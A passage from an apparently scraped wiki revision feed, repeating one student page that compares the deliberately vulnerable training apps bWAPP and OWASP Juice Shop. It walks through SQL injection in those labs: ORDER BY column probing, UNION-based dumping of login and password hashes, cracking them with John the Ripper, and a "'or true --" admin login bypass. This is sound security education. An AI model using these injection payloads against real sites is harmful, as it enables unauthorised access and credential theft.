SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*buggy web application (bWAPP) https://wiki.elvis.science/index.php?title=OWASP_Juice_Shop&lt;br /&gt;
*damn vulnerable web application (DVWA)&lt;br /&gt;
*OWASP Juice Shop&lt;br /&gt;
&lt;br /&gt;
=== bWAPP ===&lt;br /&gt;
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Juice Shop ===&lt;br /&gt;
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called &#039;online juice shop&#039; for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.&lt;br /&gt;
&lt;br /&gt;
==Comparison and architecture of bWAPP and OWASP Juice Shop==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;OWASP Juice Shop&#039;&#039;&#039; is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;bWAPP&#039;&#039;&#039; is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP &lt;br /&gt;
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine. &lt;br /&gt;
&lt;br /&gt;
To download virtualbox, use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]&lt;br /&gt;
&lt;br /&gt;
On the following page there is a step-by-step instructions for installing virtualbox: &lt;br /&gt;
&lt;br /&gt;
[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]&lt;br /&gt;
&lt;br /&gt;
To install beebox you can use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:VirtualBox.PNG|400px]]&lt;br /&gt;
[[File:BWAPP1Start.PNG|400px]]&lt;br /&gt;
&lt;br /&gt;
== Practical demonstration Step-by-Step guideline==&lt;br /&gt;
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.&lt;br /&gt;
&lt;br /&gt;
== bWAPP Challenge ==&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Select a challenge&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.&lt;br /&gt;
&lt;br /&gt;
[[File:bWAPPs.PNG|500px]]&lt;br /&gt;
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various &#039;bugs&#039;. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.&lt;br /&gt;
&lt;br /&gt;
[[File:1nebenan.png|500px]]&lt;br /&gt;
[[File:2nebenan.png|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Try out some SQL-Statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
If you enter a search term such as &#039;iron&#039;, for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word &#039;iron&#039; and the search field gives the result &#039;iron man&#039;. In this case there is a high probability that this query contains some columns. The select-command is something like &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE &#039;%&amp;quot;. $userinput.&amp;quot;%&#039;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1EingabeIron.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
If the form is vulnerable, introducing a single &#039;&#039;&#039; 1 &#039;&#039;&#039; should throw a SQL error because &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE  &amp;quot;&#039;&amp;quot; is not a valid query. As a result, you can see that the URL parameter &#039;&#039;&#039;1&#039;&#039;&#039;&#039; is definitely vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2SQLSyntaxFehler.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by &#039;&#039;&#039;1 -- -&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3URLTeilDelete.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4neueURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The output shows that the URL parameters are definitely vulnerable to SQL injections.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5ErgebnisURL1.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 3: Trying to find out the number of columns&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
To find the answer we can use an &#039;ORDER BY&#039; clause inside our query : &#039; order by 6 -- -&lt;br /&gt;
The query sent to the database will look like : &amp;quot;Select column1, column2, column3, column4, column5, column6, from table where movie LIKE &#039;%&#039; order by 6 -- -%&#039; . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown. &lt;br /&gt;
&lt;br /&gt;
We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Bild8URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result shows that column 5 corresponds to one character.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild9ErgebnisURL.PNG|500px]]	&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 4: Get the password&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild10URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result ejects the character bWAPP. Now it is only a few steps to the hashed password.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild11ErgebnisURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the following step the contents of the columns-output is &#039;User&#039;. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild20URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild21Ergebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild22URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild23PWErgebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 5: Cracking the hashed password with John the Ripper&amp;lt;/br&amp;gt;===&lt;br /&gt;
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password&#039;s output in clear text.&lt;br /&gt;
&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
== OWASP Juice Shop Challenge ==&lt;br /&gt;
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File:JuiceShopPlattform.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Try to login as Admin with simple SQL-statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The following command is used to attempt to log in as Admin: &#039;&#039;&#039; &#039;or true - -&#039;&#039;&#039;. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. &#039;&#039;&#039;True&#039;&#039;&#039; as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.&lt;br /&gt;
&lt;br /&gt;
[[File: juice4.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File: juice3.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Change user data&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.&lt;br /&gt;
&lt;br /&gt;
[[File:UserDaten.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in my paper: [[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5485</id>
		<title>Unsecure Webservices: bWAPP vs. JuiceShop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5485"/>
		<updated>2020-12-21T17:48:16Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Vulnerable Webservices */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*buggy web application (bWAPP)&lt;br /&gt;
#REDIRECT [[https://wiki.elvis.science/index.php?title=OWASP_Juice_Shop]]&lt;br /&gt;
*damn vulnerable web application (DVWA)&lt;br /&gt;
*OWASP Juice Shop&lt;br /&gt;
&lt;br /&gt;
=== bWAPP ===&lt;br /&gt;
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Juice Shop ===&lt;br /&gt;
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called &#039;online juice shop&#039; for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.&lt;br /&gt;
&lt;br /&gt;
==Comparison and architecture of bWAPP and OWASP Juice Shop==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;OWASP Juice Shop&#039;&#039;&#039; is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;bWAPP&#039;&#039;&#039; is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP &lt;br /&gt;
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine. &lt;br /&gt;
&lt;br /&gt;
To download virtualbox, use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]&lt;br /&gt;
&lt;br /&gt;
On the following page there is a step-by-step instructions for installing virtualbox: &lt;br /&gt;
&lt;br /&gt;
[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]&lt;br /&gt;
&lt;br /&gt;
To install beebox you can use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:VirtualBox.PNG|400px]]&lt;br /&gt;
[[File:BWAPP1Start.PNG|400px]]&lt;br /&gt;
&lt;br /&gt;
== Practical demonstration Step-by-Step guideline==&lt;br /&gt;
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.&lt;br /&gt;
&lt;br /&gt;
== bWAPP Challenge ==&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Select a challenge&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.&lt;br /&gt;
&lt;br /&gt;
[[File:bWAPPs.PNG|500px]]&lt;br /&gt;
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various &#039;bugs&#039;. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.&lt;br /&gt;
&lt;br /&gt;
[[File:1nebenan.png|500px]]&lt;br /&gt;
[[File:2nebenan.png|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Try out some SQL-Statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
If you enter a search term such as &#039;iron&#039;, for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word &#039;iron&#039; and the search field gives the result &#039;iron man&#039;. In this case there is a high probability that this query contains some columns. The select-command is something like &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE &#039;%&amp;quot;. $userinput.&amp;quot;%&#039;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1EingabeIron.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
If the form is vulnerable, introducing a single &#039;&#039;&#039; 1 &#039;&#039;&#039; should throw a SQL error because &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE  &amp;quot;&#039;&amp;quot; is not a valid query. As a result, you can see that the URL parameter &#039;&#039;&#039;1&#039;&#039;&#039;&#039; is definitely vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2SQLSyntaxFehler.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by &#039;&#039;&#039;1 -- -&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3URLTeilDelete.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4neueURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The output shows that the URL parameters are definitely vulnerable to SQL injections.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5ErgebnisURL1.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 3: Trying to find out the number of columns&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
To find the answer we can use an &#039;ORDER BY&#039; clause inside our query : &#039; order by 6 -- -&lt;br /&gt;
The query sent to the database will look like : &amp;quot;Select column1, column2, column3, column4, column5, column6, from table where movie LIKE &#039;%&#039; order by 6 -- -%&#039; . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown. &lt;br /&gt;
&lt;br /&gt;
We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Bild8URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result shows that column 5 corresponds to one character.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild9ErgebnisURL.PNG|500px]]	&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 4: Get the password&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild10URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result ejects the character bWAPP. Now it is only a few steps to the hashed password.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild11ErgebnisURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the following step the contents of the columns-output is &#039;User&#039;. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild20URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild21Ergebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild22URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild23PWErgebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 5: Cracking the hashed password with John the Ripper&amp;lt;/br&amp;gt;===&lt;br /&gt;
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password&#039;s output in clear text.&lt;br /&gt;
&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
== OWASP Juice Shop Challenge ==&lt;br /&gt;
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File:JuiceShopPlattform.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Try to login as Admin with simple SQL-statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The following command is used to attempt to log in as Admin: &#039;&#039;&#039; &#039;or true - -&#039;&#039;&#039;. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. &#039;&#039;&#039;True&#039;&#039;&#039; as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.&lt;br /&gt;
&lt;br /&gt;
[[File: juice4.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File: juice3.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Change user data&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.&lt;br /&gt;
&lt;br /&gt;
[[File:UserDaten.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in my paper: [[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5484</id>
		<title>Unsecure Webservices: bWAPP vs. JuiceShop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5484"/>
		<updated>2020-12-21T17:45:24Z</updated>

